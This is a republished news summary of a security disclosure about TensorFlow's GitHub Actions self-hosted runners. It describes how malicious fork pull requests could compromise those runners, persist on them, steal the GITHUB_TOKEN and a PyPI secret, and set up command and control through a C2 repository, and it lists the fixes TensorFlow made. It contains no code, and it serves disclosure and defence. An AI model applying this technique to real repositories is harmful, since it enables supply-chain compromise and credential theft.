Let's say TensorFlow wants to run a set of tests when a GitHub user submits a pull request.
TensorFlow can define these tests in a yaml workflow file, used by GitHub Actions, and configure the workflow to run on the `pull request` trigger.
One type is GitHub's hosted runners, which GitHub maintains and hosts in their own environment.
Self-hosted runners are build agents hosted by end users running the Actions runner agent on their own infrastructure.
By default, when a self-hosted runner is attached to a repository or an organization runner group that a public repository has access to, any workflow running in that repository's context can use that runner.
The problem is that this also applies to workflows from fork pull requests - this default setting allows any contributor to execute code on the self-hosted runner by submitting a malicious PR. If the self-hosted runner is configured using the default steps, it will be a non-ephemeral self-hosted runner.
We provide explicit steps to compromise the self-hosted runner below, but first, let's understand Tensorflow's use of GitHub Actions to determine the access an attacker would have if they compromised the self-hosted runner.
This meant the runner was non-ephemeral, so an attacker could persist on the runner even after their PR job finished by forking off their own process.
This particular runner was one of a handful of self-hosted runners in a TensorFlow runner group named `Default`.
An attacker could use the malicious pull request to compromise any runner in this group or all at once using the `runs-on: matrix` strategy.
The impact of runner compromise typically depends on the permission levels of the `GITHUB TOKEN` assigned to subsequent builds, branch protection settings in place for the repository, network positioning of the build machine, and repository secrets.
The important aspect is that if a workflow executes on a self-hosted runner and uses a `GITHUB TOKEN`, then that token will be on the runner for the duration of that build.
There are techniques to extend the build length once you are on the runner.
The TensorFlow repository used GitHub secrets to allow the runners to access sensitive systems during the automated release process.
Yml` workflow, we noticed that it used the `AWS PYPI ACCOUNT TOKEN` to authenticate to PyPi before uploading TensorFlow pip wheels and that this workflow ran on the self-hosted runner.
An attacker could compromise one additional secret even though it was not used within workflows that ran on the self-hosted runners by leveraging the GITHUB TOKEN's permissions.
Our bash script, stored in a GitHub gist, could be any Command-and-Control system, but one that we've had success with is installing our own self-hosted GitHub runner on the runner and then using a C2 repository with a simple workflow to execute commands.
TensorFlow changed the `GITHUB TOKEN` permissions to read-only for workflows that ran on self-hosted runners.
The impact of self-hosted runner compromise would be limited because they couldn't use the `GITHUB TOKEN` to perform any write operations.
Move the self-hosted runner group from the repository to an organization group, and configuring the group to only run on specific workflows that have already been committed to a protected branch, then reference that workflow as a reusable workflow.
This Cyber News was published on securityboulevard.com. Publication date: Sun, 14 Jan 2024 14:43:06 +0000